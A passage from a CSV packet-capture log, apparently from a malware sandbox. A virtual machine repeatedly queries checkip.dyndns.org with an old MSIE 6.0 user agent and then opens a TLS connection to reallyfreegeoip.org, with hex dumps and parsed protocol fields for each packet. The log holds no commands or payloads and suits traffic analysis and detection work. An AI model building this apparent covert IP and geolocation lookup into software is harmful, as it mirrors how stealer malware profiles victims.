\"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": null, \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": null, \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": \"\"Keep-Alive\"\", \"\"Content_Length\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"checkip.dyndns.org\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": null}}]\"\n2026-04-28 18:22:47.390650,23,TCP 132.226.247.73:80 -> 192.168.122.168:50100,132.226.247.73,192.168.122.168,80,50100,TCP,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3385608897 Ack=3782496381,5254007bb792525400577f9408004500002838ce400040064a8584e2f749c0a87aa80050c3b4c9cc4ac1e174507d50100053b7970000,RT.{..RT.W....E..(8.@.@.J....I..z..P....J..tP}P..S....,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 14542, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19077, \"\"src\"\": \"\"132.226.247.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50100, \"\"seq\"\": 3385608897, \"\"ack\"\": 3782496381, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:49.043465,24,TCP 132.226.247.73:80 -> 192.168.122.168:50100,132.226.247.73,192.168.122.168,80,50100,TCP,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,5254007bb792525400577f9408004500015938cf40004006495384e2f749c0a87aa80050c3b4c9cc4ac1e174507d50180053b8c80000485454502f312e3120323030204f4b0d0a446174653a205475652c2032382041707220323032362031383a32323a343820474d540d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a203130340d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206e6f2d63616368650d0a507261676d613a206e6f2d63616368650d0a4163636573732d436f6e74726f6c2d416c6c6f772d4f726967696e3a202a0d0a0d0a3c68746d6c3e3c686561643e3c7469746c653e43757272656e7420495020436865636b3c2f7469746c653e3c2f686561643e3c626f64793e43757272656e7420495020416464726573733a203130392e37302e3130302e363c2f626f64793e3c2f68746d6c3e0d0a,\"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 345, \"\"id\"\": 14543, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 18771, \"\"src\"\": \"\"132.226.247.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50100, \"\"seq\"\": 3385608897, \"\"ack\"\": 3782496381, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 47304, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": null, \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": \"\"*\"\", \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": null, \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": \"\"no-cache\"\", \"\"Connection\"\": \"\"keep-alive\"\", \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"104\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": null, \"\"Content_Type\"\": \"\"text/html\"\", \"\"Date\"\": \"\"Tue, 28 Apr 2026 18:22:48 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": null, \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": \"\"no-cache\"\", \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": null, \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": null, \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": null, \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": null, \"\"Unknown_Headers\"\": null}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\\r\\n\"\"}}]\"\n2026-04-28 18:22:49.160366,25,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,A,,,Ether > IP > TCP,3,TCP A Seq=3782496381 Ack=3385609202,525400577f945254007bb792080045000028d2914000800670c1c0a87aa884e2f749c3b40050e174507dc9cc4bf250100401b7970000,RT.W..RT.{....E..(..@...p...z....I...P.tP}..K.P.......,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 53905, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28865, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782496381, \"\"ack\"\": 3385609202, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1025, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:49.187929,26,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,PA,,http://checkip.dyndns.org/,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /,525400577f945254007bb7920800450000a7d292400080067041c0a87aa884e2f749c3b40050e174507dc9cc4bf250180401b8160000474554202f20485454502f312e310d0a557365722d4167656e743a204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520362e303b2057696e646f7773204e5420352e323b202e4e455420434c52312e302e333730353b290d0a486f73743a20636865636b69702e64796e646e732e6f72670d0a0d0a,\"RT.W..RT.{....E.....@...pA..z....I...P.tP}..K.P.......GET / HTTP/1.1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)\nHost: checkip.dyndns.org\n\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 167, \"\"id\"\": 53906, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28737, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782496381, \"\"ack\"\": 3385609202, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1025, \"\"chksum\"\": 47126, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": null, \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": null, \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": null, \"\"Content_Length\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"checkip.dyndns.org\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": null}}]\"\n2026-04-28 18:22:49.187956,27,TCP 132.226.247.73:80 -> 192.168.122.168:50100,132.226.247.73,192.168.122.168,80,50100,TCP,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3385609202 Ack=3782496508,5254007bb792525400577f9408004500002838d0400040064a8384e2f749c0a87aa80050c3b4c9cc4bf2e17450fc50100053b7970000,RT.{..RT.W....E..(8.@.@.J....I..z..P....K..tP.P..S....,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 14544, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19075, \"\"src\"\": \"\"132.226.247.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50100, \"\"seq\"\": 3385609202, \"\"ack\"\": 3782496508, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:49.690256,28,TCP 132.226.247.73:80 -> 192.168.122.168:50100,132.226.247.73,192.168.122.168,80,50100,TCP,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,5254007bb792525400577f9408004500015938d140004006495184e2f749c0a87aa80050c3b4c9cc4bf2e17450fc50180053b8c80000485454502f312e3120323030204f4b0d0a446174653a205475652c2032382041707220323032362031383a32323a343920474d540d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a203130340d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206e6f2d63616368650d0a507261676d613a206e6f2d63616368650d0a4163636573732d436f6e74726f6c2d416c6c6f772d4f726967696e3a202a0d0a0d0a3c68746d6c3e3c686561643e3c7469746c653e43757272656e7420495020436865636b3c2f7469746c653e3c2f686561643e3c626f64793e43757272656e7420495020416464726573733a203130392e37302e3130302e363c2f626f64793e3c2f68746d6c3e0d0a,\"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 345, \"\"id\"\": 14545, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 18769, \"\"src\"\": \"\"132.226.247.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50100, \"\"seq\"\": 3385609202, \"\"ack\"\": 3782496508, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 47304, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": null, \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": \"\"*\"\", \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": null, \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": \"\"no-cache\"\", \"\"Connection\"\": \"\"keep-alive\"\", \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"104\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": null, \"\"Content_Type\"\": \"\"text/html\"\", \"\"Date\"\": \"\"Tue, 28 Apr 2026 18:22:49 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": null, \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": \"\"no-cache\"\", \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": null, \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": null, \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": null, \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": null, \"\"Unknown_Headers\"\": null}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\\r\\n\"\"}}]\"\n2026-04-28 18:22:49.874046,29,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,A,,,Ether > IP > TCP,3,TCP A Seq=3782496508 Ack=3385609507,525400577f945254007bb792080045000028d2934000800670bfc0a87aa884e2f749c3b40050e17450fcc9cc4d2350100400b7970000,RT.W..RT.{....E..(..@...p...z....I...P.tP...M#P.......,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 53907, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28863, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782496508, \"\"ack\"\": 3385609507, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:50.549657,30,TCP 192.168.122.168:50104 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50104,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,S,,,Ether > IP > TCP,3,TCP S Seq=2695327244 Ack=0,525400577f945254007bb792080045000034768d400080062c73c0a87aa8bc726000c3b801bba0a76e0c000000008002faf057ea0000020405b40103030801010402,\"RT.W..RT.{....E..4v.@...,s..z..r`.......n.........W...............\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 30349, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11379, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50104, \"\"dport\"\": 443, \"\"seq\"\": 2695327244, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 22506, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-28 18:22:50.549697,31,TCP 188.114.96.0:443 -> 192.168.122.168:50104,188.114.96.0,192.168.122.168,443,50104,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=3685359036 Ack=2695327245,5254007bb792525400577f94080045000034000040004006e300bc726000c0a87aa801bbc3b8dbaa1dbca0a76e0d8012a56457ea0000020405b40101040201030309,\"RT.{..RT.W....E..4..@.@....r`...z...........n\n...dW..............\t\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58112, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50104, \"\"seq\"\": 3685359036, \"\"ack\"\": 2695327245, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 22506, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-28 18:22:50.549806,32,TCP 192.168.122.168:50104 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50104,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2695327245 Ack=3685359037,525400577f945254007bb792080045000028768e400080062c7ec0a87aa8bc726000c3b801bba0a76e0ddbaa1dbd5010201457de0000,\"RT.W..RT.{....E..(v.@...,~..z..r`.......n\n....P. .W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30350, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11390, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50104, \"\"dport\"\": 443, \"\"seq\"\": 2695327245, \"\"ack\"\": 3685359037, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:51.952178,33,TCP 192.168.122.168:50104 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50104,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2695327245 Ack=3685359037,525400577f945254007bb7920800450000a3768f400080062c02c0a87aa8bc726000c3b801bba0a76e0ddbaa1dbd5018201458590000160301007601000072030169d776016b9ce586a0ba54300b072c1d1c8136dd96e7209f3e1aeb5a932d766500000ec00ac009c014c0130035002f000a0100003b0000001800160000137265616c6c796672656567656f69702e6f7267000a00080006001d00170018000b000201000023000000170000ff01000100,\"RT.W..RT.{....E...v.@...,...z..r`.......n\n....P. .XY......v...r..i.v.k.....T0..,...6... .>..Z.-ve....\n.\t.....5./.\n...;.........reallyfreegeoip.org.\n.................#...........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 163, \"\"id\"\": 30351, \"\"flags\"\": \"\"DF\"\", 